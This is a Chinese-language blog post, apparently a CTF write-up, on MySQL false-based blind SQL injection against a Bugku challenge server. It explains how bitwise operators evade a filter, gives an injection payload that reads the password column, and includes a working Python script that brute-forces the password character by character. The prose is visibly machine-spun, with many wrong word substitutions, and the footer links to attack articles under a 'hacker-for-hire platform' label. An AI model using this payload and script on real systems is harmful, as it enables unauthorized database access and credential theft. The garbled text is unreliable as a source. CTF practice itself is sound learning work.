实例解说False盲注根底原理

访客5年前黑客文章1075

0×01 前语
false盲注有些时分能够绕过一些WAF,也是简略被忽视的细节。本文的意图在于经过做CTF的一起来学习注入原理,一起也运用到本身的才能。这儿仅仅简略说一些我自己的了解,或许网上有更好的思路和见地,都是值得学习的。
0×02 false注入原理
MYSQL的隐式类型转化,当字符串和数字比较时,会把字符串转为浮点数,而字符串转化时会发生一个warning,转化的成果为0,但假如字符串最初是数字话仍是会从数字部分切断,转化为数字


0×03 实例
举例地址为:
http://118.89.219.210:49167/index.php(Bugku)

填入username和password之后,Burp抓包,send to repeater剖析一下
发现过滤了挺多的,空格,%0a,/**/,and,union等等
可是 |(位或)&(位与)^(位异或)没有过滤掉
这儿的话应该来说都能够用,我试了一下|(位或)和 ^(位异或),这两个都是能够的
结构一个payload句子为:
username=admin’|(ascii(mid((password)from(1)))>53)#&password=sd
函数介绍:
MID(column_name,start[,length])   由于过滤掉空格的原因,才用上述格局
ASCII() 回来字符表达式最左端字符的ASCII 码值
当榜首字母的ascii码值为53的时分,右边的表明式则为false,与‘admin’ 或, 适当与   0 | 0 成果为0,当username=0时,回来查询字段的一切数据,(只需username没有以数字最初的)这儿留意 按位或的优先级高于=,所以是先按位或再赋值给username。
当然了,想结构为0的话不止只要位运算符,还有+号(‘ ’+‘ ’=0),  -号(‘ ‘-’ ‘=0), *号(‘ ‘*’ ‘=0),  /号(‘ ‘/1=0), %取余(‘ ‘%1=0)等等

能够先判别一下字段长度:


依据页面信息判别为32位
原理都讲得差不多了
能够自己手注,但好像太麻烦了
下面能够写一个Python脚本跑出来
import requests
url = "http://118.89.219.210:49167/index.php"
r = requests.Session()
result=''
for i in range(1,33):
 for j in range(37,127):
  payload = "admin'|(ascii(mid((password)from({0})))>{1})#".format(str(i),str(j))
  data={"username":payload,"password":"psdvs"}
  print payload
  html=r.post(url,data=data)
  if "password error" in html.content:
   result+=chr(j)
   print result
   break
print result
成果为:

 
 

相关文章

使用Homograph的复杂鱼叉渗透分析-黑客接单平台

在曩昔的几个月里,咱们做了一些有关创立网络垂钓电子邮件的研讨,这些创立的垂钓邮件足以诈骗那些专业的安全人员。因而,咱们正在研讨一个适当陈旧的安全论题:Punycode域和IDN同形异义词进犯。 Pun...

梦里参加攻防演习活动的过程分享(上)-黑客接单平台

0×01 前语 跟着国家对网络安全的进一步注重,攻防演练活动变得越来越重要,规划也更大。高强度的演习让无论是蓝方仍是红方都变得筋疲力尽,借用朋友圈里一位大佬的一句话:活动完毕的这一天,安全圈的气氛像春...

PHP的两个特性导致waf绕过注入

1、HPP HTTP参数污染 HTTP参数污染指的是,在URL中提交相同键值的两个参数时,服务器端一般会进行一些处理。比方Apache就要以最终一个参数为准,比方: user.php?id=111&a...

MySQL联合注入之绕过安全狗到GetShell

发现网上公开过安全狗的办法少之又少,并且根本都是给个大约点就完毕,本文章是将整个进程记录了一遍,因为一开始我也没想到我能成功的绕过去,大约进程是这样:Mysql根底有必要要有–>定位—>f...

经过Thinkphp结构缝隙所发现的安全问题

在一次偶尔的时机发现公司某个网站存在thinkphp的长途指令履行缝隙,自此对这个缝隙爱不释手。这究竟是为什么呢?首要原因有2点:榜首,假如网站存在这个缝隙,咱们可以去履行各式各样的体系指令来进行测验...